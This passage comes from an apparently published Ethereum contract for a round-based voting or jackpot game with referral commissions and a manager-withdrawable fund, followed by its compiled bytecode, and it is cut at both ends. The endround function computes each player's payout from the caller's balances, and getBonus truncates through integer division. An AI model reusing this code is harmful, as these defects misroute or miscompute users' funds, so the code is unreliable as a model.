<= 5 ether && rounds[roundid].pot >=0.5 ether){ selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.5 ether); rounds[roundid].pot = rounds[roundid].pot.sub(0.5 ether); return "恭喜获得空投 0.5 ether"; } if(selfvoteamount[msg.sender] > 5 ether && rounds[roundid].pot >= 1 ether){ selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(1 ether); rounds[roundid].pot = rounds[roundid].pot.sub(1 ether); return "恭喜获得空投 1 ether"; } } //更新时间 function updateTimer(uint256 _votes) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > rounds[roundid].end && rounds[roundid].lastvoter == address(0)) _newTime = (_votes.mul(voteinterval)).add(_now); else _newTime = (_votes.mul(voteinterval)).add(rounds[roundid].end); // compare to max and set new end time if (_newTime < (maxvotetime).add(_now)) rounds[roundid].end = _newTime; else rounds[roundid].end = maxvotetime.add(_now); } //投票 function voting (string _name) payable public isactivity(roundid) returns(string) { //require(raiseethamount == 100); uint256 currentticketPrice = ticketPrice; require(msg.value >= currentticketPrice); string memory ifgetpot = airdrppReward(); require(now > (rounds[roundid].start + nextRoundCoolingTime) &&(now <= rounds[roundid].end ||rounds[roundid].lastvoter == address(0) )); selfvoteamount[msg.sender] = selfvoteamount[msg.sender].add(msg.value); uint256 votes = msg.value.div(currentticketPrice); //Divies.deposit.value(msg.value.mul(5).div(100))(); uint256 reward = msg.value.mul(51).div(100); uint256 _now = now; if(_now - SortingCoinstime >2 hours){ SortingCoins(); SortingCoinstime = _now; emit Sortime(msg.sender,_now); } tovote(_name,votes,reward); allot(votes); calculateselfOdd(); ticketPrice = calculatVotePrice(); return ifgetpot; } //计算空投中奖概率 function calculateselfOdd() private { if(selfvoteamount[msg.sender] <= 1 ether) selfOdds[msg.sender] = 25; if(1 ether < selfvoteamount[msg.sender] &&selfvoteamount[msg.sender] <= 10 ether) selfOdds[msg.sender] = 50; if(selfvoteamount[msg.sender] > 10 ether) selfOdds[msg.sender] = 75; } //分配资金 function allot(uint256 votes) private isactivity(roundid){ if(playerreferees[msg.sender] != address(0)){ selfcommission[playerreferees[msg.sender]] = selfcommission[playerreferees[msg.sender]].add(msg.value.mul(10).div(100)); }else{ rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(10).div(100)); } if(selectplayer() == false){ players.push(msg.sender); } fund = fund.add(msg.value.mul(13).div(100)); ticketHolderReward[roundid] = ticketHolderReward[roundid].add(msg.value.mul(51).div(100)); rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(25).div(100)); rounds[roundid].pot = rounds[roundid].pot.add(msg.value.mul(1).div(100)); rounds[roundid].lastvoter = msg.sender; rounds[roundid].tickets = rounds[roundid].tickets.add(votes); selfvotes[msg.sender] = selfvotes[msg.sender].add(votes); updateTimer(votes); } //发奖 function endround() public isactivity(roundid) { require(now > rounds[roundid].end && rounds[roundid].lastvoter != address(0)); uint256 reward = rounds[roundid].jackpot; for(uint i = 0 ;i< players.length;i++){ address player = players[i]; uint256 selfbalance = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender]; uint256 endreward = reward.mul(42).div(100).mul(selfvotes[player]).div(rounds[roundid].tickets); selfcommission[player] = 0; selfharvest[player] = 0; selfpotprofit[player] = 0; selfvoteamount[player] = 0; selfvotes[player] = 0; player.transfer(endreward.add(selfbalance)); } rounds[roundid].lastvoter.transfer(reward.mul(48).div(100)); tonextround = reward.mul(10).div(100); uint256 remainingpot = rounds[roundid].pot; tonextround = tonextround.add(remainingpot); rounds[roundid].active = false; delete players; players.length = 0; startRound(); } //注册 function registerNameXNAME(string _nameString,address _inviter) public payable { // make sure name fees paid require (msg.value >= 0.01 ether, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); require(verifyName[_name]!=1 ,"sorry that names already taken"); bool state = validation_inviter(_inviter); require(state,"注册失败"); if(!pState[msg.sender]){ verifyName[_name] = 1; playername[msg.sender] = _nameString; playerreferees[msg.sender] = _inviter; pState[msg.sender] = true; } manager.transfer(msg.value); } function validation_inviter (address y_inviter) public view returns (bool){ if(y_inviter== 0x0000000000000000000000000000000000000000){ return true; } else if(pState[y_inviter]){ return true; } else { return false; } } //取款 function withdraw() public{ uint256 reward = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender]; uint256 subselfharvest = selfharvest[msg.sender]; selfcommission[msg.sender] = 0; selfharvest[msg.sender] = 0; selfpotprofit[msg.sender] = 0; ticketHolderReward[roundid] = ticketHolderReward[roundid].sub(subselfharvest); awardedReward[roundid] = awardedReward[roundid].add(reward); msg.sender.transfer(reward); } //manager取款 function withdrawbymanager() public{ require(msg.sender == manager); uint256 fundvalue = fund; fund = 0; manager.transfer(fundvalue); } //查询空投奖励 function getpotReward() public view returns(uint256){ return selfpotprofit[msg.sender]; } //查询分红 function getBonus() public view returns(uint256){ return selfvotes[msg.sender] / rounds[roundid].tickets * rounds[roundid].jackpot; } //查询是否投票人已经在数组里 function selectplayer() public view returns(bool){ for(uint i = 0;i< players.length ;i++){ if(players[i] == msg.sender) return true; } return false; } //返回开奖时间 function getroundendtime() public view returns(uint256){ if(rounds[roundid].end >= now){ return rounds[roundid].end - now; } return 0; } function getamountvotes() public view returns(uint) { return rounds[roundid].tickets; } function getjackpot() public view returns(uint) { return rounds[roundid].jackpot; } function () payable public { selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(msg.value); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) //名字过滤器 internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } }
0x60806040526004361061022e5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662badc8581146102605780630324d0d9146102cb5780630f50b9bc146102e05780631209b1f6146102f857806313c9134b1461030d57806315f8898f1461032757806319906232146103485780631d5af756146103695780631ddd39cc1461038a57806324c945aa146103b55780632924021f146103f25780632bbb01fc146104135780633ccfd60b146104485780633f36d33d1461045d5780634026eb9214610472578063481c6a75146104875780634c5b632a1461049c57806354313b22146105265780635b752d5d1461053b5780635bfcb9b2146105505780636b8913361461057157806373ef6357146105925780637bc89ae7146105a757806387033345146105fe5780638bdff161146106fb5780638c65c81f146107105780639c628ba91461076a5780639ef402381461078b578063a4689d48146107e4578063a6593562146107f9578063a986ef4a1461080e578063a98dfb3014610823578063ac9d7e0a1461083b578063b60f54f414610843578063ba7bf7ff14610858578063c64e1ae91461086d578063d067667a14610885578063d0ebdbe71461091b578063de9652b11461093c578063e3393a6d14610951578063f261a8c01461099d578063f2fde38b146109b2578063f3e1efbf146109d3578063f71d96cb146109f4578063f988868714610a0c578063ff84055314610a21575b3360009081526016602052604090205461024e903463ffffffff610a3616565b33600090815260166020526040902055005b34801561026c57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102b9943694929360249392840191908190840183828082843750949750610a509650505050505050565b60408051918252519081900360200190f35b3480156102d757600080fd5b506102b9610aba565b3480156102ec57600080fd5b506102b9600435610b4d565b34801561030457600080fd5b506102b9610b5f565b34801561031957600080fd5b50610325600435610b65565b005b34801561033357600080fd5b506102b9600160a060020a0360043516610b8e565b34801561035457600080fd5b506102b9600160a060020a0360043516610ba0565b34801561037557600080fd5b506102b9600160a060020a0360043516610bb2565b34801561039657600080fd5b5061039f610bc4565b6040805160ff9092168252519081900360200190f35b3480156103c157600080fd5b506103d6600160a060020a0360043516610bcd565b60408051600160a060020a039092168252519081900360200190f35b3480156103fe57600080fd5b5061039f600160a060020a0360043516610be8565b34801561041f57600080fd5b50610434600160a060020a0360043516610bfd565b604080519115158252519081900360200190f35b34801561045457600080fd5b50610325610c12565b34801561046957600080fd5b506102b9610ce2565b34801561047e57600080fd5b50610325610cf6565b34801561049357600080fd5b506103d6610f98565b6040805160206004803580820135601f810184900484028501840190955284845261032594369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610fa79650505050505050565b34801561053257600080fd5b506102b961131d565b34801561054757600080fd5b506102b9611323565b34801561055c57600080fd5b506102b9600160a060020a036004351661133b565b34801561057d57600080fd5b506102b9600160a060020a036004351661134d565b34801561059e57600080fd5b5061043461135f565b6040805160206004803580820135601f810184900484028501840190955284845261032594369492936024939284019190819084018382808284375094975050509235600160a060020a031693506113b292505050565b34801561060a57600080fd5b506106166004356115e1565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561065d578181015183820152602001610645565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156106bd5781810151838201526020016106a5565b50505050905090810190601f1680156106ea5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561070757600080fd5b506102b9611736565b34801561071c57600080fd5b50610728600435611774565b604080519715158852600160a060020a039096166020880152868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561077657600080fd5b506102b9600160a060020a03600435166117b9565b34801561079757600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102b99436949293602493928401919081908401838280828437509497506117cb9650505050505050565b3480156107f057600080fd5b506102b9611855565b34801561080557600080fd5b506102b9611894565b34801561081a57600080fd5b506102b96118ac565b34801561082f57600080fd5b506102b96004356118b2565b6103256118c4565b34801561084f57600080fd5b50610325611b10565b34801561086457600080fd5b506102b96120d6565b34801561087957600080fd5b506102b96004356120dc565b34801561089157600080fd5b506108a6600160a060020a03600435166120ee565b6040805160208082528351818301528351919283929083019185019080838360005b838110156108e05781810151838201526020016108c8565b50505050905090810190601f16801561090d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561092757600080fd5b50610325600160a060020a0360043516612189565b34801561094857600080fd5b506102b96121cf565b6040805160206004803580820135601f81018490048402850184019095528484526108a69436949293602493928401919081908401838280828437509497506121d59650505050505050565b3480156109a957600080fd5b5061032561236a565b3480156109be57600080fd5b50610325600160a060020a03600435166123ce565b3480156109df57600080fd5b50610434600160a060020a0360043516612414565b348015610a0057600080fd5b506103d660043561245f565b348015610a1857600080fd5b506102b9612487565b348015610a2d57600080fd5b506102b961248d565b600082820183811015610a4557fe5b8091505b5092915050565b6000600f826040518082805190602001908083835b60208310610a845780518252601f199092019160209182019101610a65565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054925050505b919050565b60008054601e8111610af457610aed6064610ae16070600d5461249390919063ffffffff16565b9063ffffffff6124be16565b9150610b49565b601e81118015610b05575060648111155b15610b2557610aed6064610ae16067600d5461249390919063ffffffff16565b6064811115610b4957610aed6064610ae16065600d5461249390919063ffffffff16565b5090565b60106020526000908152604090205481565b600d5481565b600354600160a060020a03163314610b7c57600080fd5b6006556009805460ff19166005179055565b60126020526000908152604090205481565b60136020526000908152604090205481565b601c6020526000908152604090205481565b60095460ff1681565b601960205260009081526040902054600160a060020a031681565b60156020526000908152604090205460ff1681565b601b6020526000908152604090205460ff1681565b3360009081526016602090815260408083208054601284528285208054601786528487208054908890559187905592869055600554865260119094529190932054918301019190610c69908263ffffffff6124d516565b600580546000908152601160209081526040808320949094559154815260109091522054610c9d908363ffffffff610a3616565b600554600090815260106020526040808220929092559051339184156108fc02918591818181858888f19350505050158015610cdd573d6000803e3d6000fd5b505050565b336000908152601660205260409020545b90565b60055460008181526002602052604081205490918291829182918291829160ff161515600114610d2557600080fd5b60055460009081526002602052604090206003015442118015610d6657506005546000908152600260205260409020546101009004600160a060020a031615155b1515610d7157600080fd5b600554600090815260026020526040812060010154975095505b600054861015610eb7576000805487908110610da357fe5b6000918252602080832090910154338352601682526040808420546012845281852054601785528286205460055487526002865283872060040154600160a060020a039095168088526014909652929095205493995093019092019550610e299190610ae190610e1d6064838d602a63ffffffff61249316565b9063ffffffff61249316565b600160a060020a038616600081815260176020908152604080832083905560128252808320839055601682528083208390556013825280832083905560149091528120559093506108fc610e83858763ffffffff610a3616565b6040518115909202916000818181858888f19350505050158015610eab573d6000803e3d6000fd5b50600190950194610d8b565b6005546000908152600260205260409020546101009004600160a060020a03166108fc610eea6064610ae18b6030612493565b6040518115909202916000818181858888f19350505050158015610f12573d6000803e3d6000fd5b50610f296064610ae189600a63ffffffff61249316565b600a81905560058054600090815260026020526040902001549250610f54908363ffffffff610a3616565b600a556005546000908152600260205260408120805460ff19169055610f7a9080613815565b6000610f868180613836565b50610f8f6124e7565b50505050505050565b600454600160a060020a031681565b600082600e816040518082805190602001908083835b60208310610fdc5780518252601f199092019160209182019101610fbd565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205460ff16159150611019905057600080fd5b600954600160ff9091161161102d57600080fd5b600354600160a060020a0316331461104e5760065434101561104e57600080fd5b60408051606081018252848152602080820187905260009282018390526001805480820180835594829052835180519295949360039092027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601926110b6928492019061385a565b5060208281015180516110cf926001850192019061385a565b5060408201518160020155505003915081600f856040518082805190602001908083835b602083106111125780518252601f1990920191602091820191016110f3565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820185209590955586845260608482018181528a519186019190915289517f6c0fce2d429ae5ffb1b889ae141a42654f77e69ca5fd20fe72d3e53729c12eae9689968c96508b95509390840191608085019187019080838360005b838110156111ad578181015183820152602001611195565b50505050905090810190601f1680156111da5780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b8381101561120d5781810151838201526020016111f5565b50505050905090810190601f16801561123a5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a16001600e856040518082805190602001908083835b6020831061127e5780518252601f19909201916020918201910161125f565b51815160001960209485036101000a8101918216911992909216179091529390910195865260408051968790038201909620805497151560ff199889161790556009805460ff81811690950190941693909716929092179095556005546000908152600290915292909220600101546113029350915034905063ffffffff610a3616565b60055460009081526002602052604090206001015550505050565b600a5481565b60055460009081526002602052604090206001015490565b60146020526000908152604090205481565b60176020526000908152604090205481565b6000805b6000548110156113aa57600080543391908390811061137e57fe5b600091825260209091200154600160a060020a031614156113a25760019150610b49565b600101611363565b600091505090565b600080662386f26fc1000034101561143a576040805160e560020a62461bcd02815260206004820152602660248201527f756d6d2e2e2e2e2e2020796f75206861766520746f2070617920746865206e6160448201527f6d65206665650000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61144384612587565b6000818152601a6020526040902054909250600114156114ad576040805160e560020a62461bcd02815260206004820152601e60248201527f736f7272792074686174206e616d657320616c72656164792074616b656e0000604482015290519081900360640190fd5b6114b683612414565b905080151561150f576040805160e560020a62461bcd02815260206004820152600c60248201527fe6b3a8e5868ce5a4b1e8b4a50000000000000000000000000000000000000000604482015290519081900360640190fd5b336000908152601b602052604090205460ff1615156115a1576000828152601a60209081526040808320600190553383526018825290912085516115559287019061385a565b50336000908152601960209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038816179055601b9091529020805460ff191660011790555b600454604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156115da573d6000803e3d6000fd5b5050505050565b60018054829081106115ef57fe5b60009182526020918290206003919091020180546040805160026001841615610100026000190190931692909204601f8101859004850283018501909152808252919350918391908301828280156116885780601f1061165d57610100808354040283529160200191611688565b820191906000526020600020905b81548152906001019060200180831161166b57829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117265780601f106116fb57610100808354040283529160200191611726565b820191906000526020600020905b81548152906001019060200180831161170957829003601f168201915b5050505050908060020154905083565b6005546000908152600260209081526040808320600181015460049091015433855260149093529083205490919081151561176d57fe5b0402905090565b600260208190526000918252604090912080546001820154928201546003830154600484015460059094015460ff841695610100909404600160a060020a0316949087565b60166020526000908152604090205481565b60006001600f836040518082805190602001908083835b602083106118015780518252601f1990920191602091820191016117e2565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205483549092508210905061183c57fe5b9060005260206000209060030201600201549050919050565b600554600090815260026020526040812060030154421161188e5750600554600090815260026020526040902060030154429003610cf3565b50600090565b60055460009081526002602052604090206004015490565b600c5481565b601a6020526000908152604090205481565b60055460008181526002602052604081205490918291829182918291829182919060ff1615156001146118f657600080fd5b60085468056bc75e2d631000001161190d57600080fd5b336000908152601c6020526040902054670de0b6b3a764000090611937903463ffffffff610a3616565b111561194257600080fd5b60085468056bc75e2d6310000090611960903463ffffffff610a3616565b11156119c5576008546064819003985068056bc75e2d631000009061198b903463ffffffff610a3616565b3360009081526016602052604090205491900397506119b0908863ffffffff610a3616565b336000908152601660205260409020556119c9565b3497505b6008546119dc908963ffffffff610a3616565b600855336000908152601c60205260409020546119ff908963ffffffff610a3616565b336000908152601c6020526040902055611a2688662386f26fc1000063ffffffff6124be16565b9550611a3e6064610ae134603363ffffffff61249316565b9450600093505b600054841015611afd576000805485908110611a5d57fe5b6000918252602080832090910154600554835260028252604080842060040154600160a060020a03909216808552601490935290922054909450611aad9190610ae190889063ffffffff61249316565b600160a060020a038416600090815260126020526040902054909250611ad9908363ffffffff610a3616565b600160a060020a038416600090815260126020526040902055600190930192611a45565b611b0686612d9a565b5050505050505050565b600080611b1b6138d4565b600092505b600154831015610cdd578260010191505b6001548210156120cb576001805483908110611b4957fe5b906000526020600020906003020160020154600184815481101515611b6a57fe5b90600052602060002090600302016002015410156120c05781600f600185815481101515611b9457fe5b90600052602060002090600302016001016040518082805460018160011615610100020316600290048015611c005780601f10611bde576101008083540402835291820191611c00565b820191906000526020600020905b815481529060010190602001808311611bec575b5050928352505060405190819003602001902055600180548491600f9185908110611c2757fe5b90600052602060002090600302016001016040518082805460018160011615610100020316600290048015611c935780601f10611c71576101008083540402835291820191611c93565b820191906000526020600020905b815481529060010190602001808311611c7f575b5050915050908152602001604051809103902081905550606060405190810160405280600185815481101515611cc557fe5b6000918252602091829020600390910201805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611d585780601f10611d2d57610100808354040283529160200191611d58565b820191906000526020600020905b815481529060010190602001808311611d3b57829003601f168201915b50505050508152602001600185815481101515611d7157fe5b90600052602060002090600302016001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e165780601f10611deb57610100808354040283529160200191611e16565b820191906000526020600020905b815481529060010190602001808311611df957829003601f168201915b50505050508152602001600185815481101515611e2f57fe5b9060005260206000209060030201600201548152509050606060405190810160405280600184815481101515611e6157fe5b6000918252602091829020600390910201805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611ef45780601f10611ec957610100808354040283529160200191611ef4565b820191906000526020600020905b815481529060010190602001808311611ed757829003601f168201915b50505050508152602001600184815481101515611f0d57fe5b90600052602060002090600302016001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fb25780601f10611f8757610100808354040283529160200191611fb2565b820191906000526020600020905b815481529060010190602001808311611f9557829003601f168201915b50505050508152602001600184815481101515611fcb57fe5b906000526020600020906003020160020154815250600184815481101515611fef57fe5b9060005260206000209060030201600082015181600001908051906020019061201992919061385a565b506020828101518051612032926001850192019061385a565b50604091820151600290910155805160608101825282518152602080840151908201528282015191810191909152600180548490811061206e57fe5b9060005260206000209060030201600082015181600001908051906020019061209892919061385a565b5060208281015180516120b1926001850192019061385a565b50604082015181600201559050505b600190910190611b31565b600190920191611b20565b60065481565b60116020526000908152604090205481565b60186020908152600091825260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845290918301828280156121815780601f1061215657610100808354040283529160200191612181565b820191906000526020600020905b81548152906001019060200180831161216457829003601f168201915b505050505081565b600354600160a060020a031633146121a057600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015490565b60055460008181526002602052604081205460609283918391829182919060ff16151560011461220457600080fd5b600d5495503486111561221657600080fd5b61221e613083565b9450600c5460026000600554815260200190815260200160002060020154014211801561228657506005546000908152600260205260409020600301544211158061228657506005546000908152600260205260409020546101009004600160a060020a0316155b151561229157600080fd5b336000908152601360205260409020546122b1903463ffffffff610a3616565b336000908152601360205260409020556122d1348763ffffffff6124be16565b93506122e96064610ae134603363ffffffff61249316565b9250429150611c206007548303111561233757612304611b10565b6007829055604051829033907f6d52b267677f36747e027ceeeeb1fc21667c5f5ed424f7d07234747d77a0ef9c90600090a35b6123428885856131d2565b61234b84612d9a565b612353613421565b61235b610aba565b600d5550929695505050505050565b600454600090600160a060020a0316331461238457600080fd5b50600b80546000918290556004546040519192600160a060020a039091169183156108fc0291849190818181858888f193505050501580156123ca573d6000803e3d6000fd5b5050565b600354600160a060020a031633146123e557600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a038216151561242e57506001610ab5565b600160a060020a0382166000908152601b602052604090205460ff161561245757506001610ab5565b506000610ab5565b600080548290811061246d57fe5b600091825260209091200154600160a060020a0316905081565b60085481565b60055481565b6000808315156124a65760009150610a49565b508282028284828115156124b657fe5b0414610a4557fe5b60008082848115156124cc57fe5b04949350505050565b6000828211156124e157fe5b50900390565b6005805460019081018083556000908152600260208190526040808320805460ff19168517905584548352808320805474ffffffffffffffffffffffffffffffffffffffff0019169055600a5485548452818420909401939093558354825282822042910181905583548252828220610e10909101600390910155825481528181206004018190558254815290812090910155662386f26fc10000600d55565b80516000908290828080602084118015906125a25750600084115b151561261e576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b84600081518110151561262d57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141580156126945750846001850381518110151561266c57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515612710576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b84600081518110151561271f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a0214156128625784600181518110151561275957fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a02141515156127d6576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b8460018151811015156127e557fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515612862576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b83821015612d325784517f40000000000000000000000000000000000000000000000000000000000000009086908490811061289f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015612913575084517f5b00000000000000000000000000000000000000000000000000000000000000908690849081106128f457fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1561298057848281518110151561292657fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a02858381518110151561295757fe5b906020010190600160f860020a031916908160001a90535082151561297b57600192505b612d27565b848281518110151561298e57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480612a5e575084517f6000000000000000000000000000000000000000000000000000000000000000908690849081106129ea57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015612a5e575084517f7b0000000000000000000000000000000000000000000000000000000000000090869084908110612a3f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80612b08575084517f2f0000000000000000000000000000000000000000000000000000000000000090869084908110612a9457fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015612b08575084517f3a0000000000000000000000000000000000000000000000000000000000000090869084908110612ae957fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515612b84576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8482815181101515612b9257fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415612c71578482600101815181101515612bce57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515612c71576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015612d1d575084517f300000000000000000000000000000000000000000000000000000000000000090869084908110612caa57fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080612d1d575084517f390000000000000000000000000000000000000000000000000000000000000090869084908110612cfe57fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b15612d2757600192505b600190910190612867565b600183151514612d8c576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b60055460008181526002602052604090205460ff161515600114612dbd57600080fd5b33600090815260196020526040902054600160a060020a031615612e5157612e26612df46064610ae134600a63ffffffff61249316565b33600090815260196020908152604080832054600160a060020a0316835260179091529020549063ffffffff610a3616565b33600090815260196020908152604080832054600160a060020a031683526017909152902055612ea1565b612e8b612e6a6064610ae134600a63ffffffff61249316565b6005546000908152600260205260409020600101549063ffffffff610a3616565b6005546000908152600260205260409020600101555b612ea961135f565b1515612efc57600080546001810182559080527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56301805473ffffffffffffffffffffffffffffffffffffffff1916331790555b612f24612f156064610ae134600d63ffffffff61249316565b600b549063ffffffff610a3616565b600b55612f5e612f406064610ae134603363ffffffff61249316565b6005546000908152601160205260409020549063ffffffff610a3616565b600554600090815260116020526040902055612f89612e6a6064610ae134601963ffffffff61249316565b60026000600554815260200190815260200160002060010181905550612fe1612fc16064610ae160013461249390919063ffffffff16565b60058054600090815260026020526040902001549063ffffffff610a3616565b6005805460009081526002602052604080822083019390935581548152828120805474ffffffffffffffffffffffffffffffffffffffff00191633610100021790559054815220600401546130369083610a36565b60055460009081526002602090815260408083206004019390935533825260149052205461306a908363ffffffff610a3616565b336000908152601460205260409020556123ca826134f3565b606061308d6135f3565b15156130cd575060408051808201909152601e81527fe99d9ee5b8b8e98197e686beefbc81e6b2a1e69c89e7a9bae68a95efbc8100006020820152610cf3565b33600090815260136020526040902054670de0b6b3a76400001080159061310f5750600580546000908152600260205260409020015467016345785d8a000011155b1561314d573360009081526016602052604090205461313c9067016345785d8a000063ffffffff610a3616565b336000908152601660205260409020555b60058054600090815260026020526040902001546131799067016345785d8a000063ffffffff6124d516565b600260006005548152602001908152602001600020600501819055506040805190810160405280601c81526020017fe681ade5969ce88eb7e5be97e7a9bae68a9520302e31206574686572000000008152509050610cf3565b600080600085600e816040518082805190602001908083835b6020831061320a5780518252601f1990920191602091820191016131eb565b51815160001960209485036101000a0190811690199190911617905292019485525060405193849003019092205460ff161515600114915061324d905057600080fd5b6132e0866001600f8a6040518082805190602001908083835b602083106132855780518252601f199092019160209182019101613266565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220548354909250821090506132c057fe5b906000526020600020906003020160020154610a3690919063ffffffff16565b6001600f896040518082805190602001908083835b602083106133145780518252601f1990920191602091820191016132f5565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092205483549092508210905061334f57fe5b906000526020600020906003020160020181905550600093505b600054841015610f8f57600080548590811061338157fe5b6000918252602080832090910154600554835260028252604080842060040154600160a060020a039092168085526014909352909220549094506133d19190610ae190889063ffffffff61249316565b600160a060020a0384166000908152601260205260409020549092506133fd908363ffffffff610a3616565b600160a060020a038416600090815260126020526040902055600190930192613369565b33600090815260136020526040902054670de0b6b3a76400001061345a57336000908152601560205260409020805460ff1916601